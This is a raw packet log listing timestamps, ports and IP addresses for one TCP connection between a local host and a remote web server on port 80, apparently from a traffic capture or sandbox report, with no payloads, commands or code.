Dec 23, 2024 08:23:37.072496891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.072560072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.072596073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.073163986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.073275089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.073316097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.073909044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.074083090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.074150085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.074726105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.074810028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.074995995 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.075450897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.075568914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.075923920 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.076210022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.076314926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.076360941 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.076967955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.077124119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.077207088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.077730894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.077999115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.078051090 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.078586102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.078598976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.078643084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.079309940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.079355955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.079813957 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.080128908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.080363989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.080420971 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.080821037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.080976009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.081023932 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.081665993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.081680059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.081715107 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.082437038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.082451105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.082493067 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.083122015 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.083275080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.083322048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.083865881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.083990097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.084106922 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.084693909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.084842920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.084897041 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.085419893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.085525036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.085608959 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.085733891 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.086162090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.086273909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.086393118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.086934090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.087048054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.087095022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.087706089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.087779999 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.087973118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.088502884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.088593006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.089154959 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.089263916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.089325905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.089417934 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.090022087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.090084076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.090125084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.090845108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.090893984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.091134071 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.091567993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.091696024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.091738939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.092302084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.092519045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.092566013 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.093118906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.093264103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.093410015 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.093894005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.093945026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.094005108 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.094609022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.094769001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.094856024 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.095488071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.095500946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.095547915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.096255064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.096266985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.096304893 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.097064972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.097166061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.097263098 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.097707987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.097807884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.097855091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.098450899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.098568916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.098619938 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.099073887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.099214077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.099363089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.099493027 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.100011110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.100133896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.100212097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.100811958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.100879908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.100991011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.101571083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.101592064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.101696014 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.102360964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.102456093 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.102509022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.103060961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.103231907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.103353024 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.103846073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.103931904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.104247093 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.104609966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.104792118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.104850054 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.105412006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.105474949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.105854988 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.106128931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.106292009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.106333971 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.106976032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.107075930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.107110977 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.107645035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.150268078 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.165079117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.259680986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.262026072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.262114048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.262128115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.262140989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.262155056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.262160063 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.262197018 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.262298107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.262331963 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.263000965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.263012886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.263071060 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.263767958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.263896942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.263909101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.263921976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.263956070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.265367031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.265383959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.265429020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.266016960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.266813040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.266825914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.266866922 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.267249107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.267261028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.267277956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.267290115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.267290115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.267297029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.267343998 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.267838001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.267849922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.267915964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.268539906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.268599987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.268873930 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.269283056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.269364119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.269402981 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.270107031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.270118952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.270169020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.270900965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.270912886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.270956993 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.271640062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.271652937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.271714926 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.272418976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.273077011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.273102045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.273118973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.273881912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.273895025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.273919106 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.274220943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.274261951 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.274715900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.274822950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.274890900 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.275443077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.275501013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.275612116 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.276323080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.276335955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.276382923 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.277045965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.277060032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.277096987 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.277736902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.277911901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.278170109 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.278583050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.278595924 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.278639078 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.279349089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.279382944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.279427052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.280138016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.280152082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.280190945 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.280888081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.280900955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.280939102 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.281559944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.281811953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.281852007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.282430887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.282444000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.282490015 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.283109903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.283354998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.283391953 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.283951998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.283965111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.284003973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.284636974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.284748077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.284784079 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.285528898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.285542011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.285579920 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.286246061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.286259890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.286303997 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.286961079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.287132978 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.287169933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.287833929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.287847996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.287899017 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.288486004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.288753033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.288793087 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.289326906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.289340973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.289377928 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.290119886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.290134907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.290178061 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.290908098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.290921926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.290956974 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.291590929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.291651011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.291708946 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.292445898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.292459011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.292495012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.293185949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.293200016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.293236971 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.293898106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.294286013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.294323921 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.294718981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.294732094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.294766903 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.295492887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.295550108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.295686007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.296255112 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.296267986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.296314001 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.296950102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.297055006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.297105074 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.297708035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.297868013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.297914982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.298468113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.298551083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.299118042 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.299216986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.299365997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.299422026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.299917936 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.315984964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.451860905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.452037096 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.452088118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.452171087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.452402115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.452485085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.453056097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.453068972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.453114033 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.453716993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.453785896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.454550982 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.454562902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.454611063 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.455231905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.455291986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.455337048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.455981016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.456233025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.456568956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.456800938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.456821918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.456953049 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.457542896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.457654953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.457696915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.458290100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.458420038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.458494902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.459089041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.459184885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.459223986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.459934950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.459949017 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.459989071 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:37.460669041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:37.460683107 CET	80	49731	185.215.113.16	192.168.2.5
